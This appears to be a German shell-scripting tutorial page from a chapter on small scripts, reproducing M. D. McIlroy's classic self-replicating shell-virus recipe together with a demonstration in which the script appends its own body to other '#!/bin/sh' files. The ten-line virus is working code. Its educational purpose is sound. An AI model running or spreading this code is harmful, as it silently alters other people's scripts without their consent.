|
|
Viele Probleme haben eine relativ einfache erste Lösung. Von dort bis zu einem robusten Skript für den täglichen Gebrauch kann es aber ein weiter Weg sein. Deshalb erscheinen hier in der Regel mehrere Lösungen zum gleichen Problem. Dieses Kapitel beschäftigt sich mit relativ kleinen Skripten.
Shell-Virus
McIlroy gab folgendes Rezept für einen Shell-Virus an [unix/mail 1/1990]:
1 #!/bin/sh 2 3 for i in "$@" #virus# 4 do case "`sed 1q $i`" 5 in "#!/bin/sh") grep '#virus#' $i > /dev/null || 6 sed -n '/#virus#/,$p' $0 >> $i 7 esac 8 done 2> /dev/null 9 10 exit 0
Dies hat folgende Konsequenz:
$ cat v1
#!/bin/sh
echo '#virus#'
exit 0
$ 7.virus v1
$ cat v1
#!/bin/sh
echo '#virus#'
exit 0
$ cat v2
#!/bin/sh
$ 7.virus v2
$ cat v2
for i in "$@" #virus#
do case "`sed 1q $i`"
in "#!/bin/sh") grep '#virus#' $i > /dev/null ||
sed -n '/#virus#/,$p' $0 >> $i
esac
done 2> /dev/null
exit 0
|
|
Last modified 03/July/97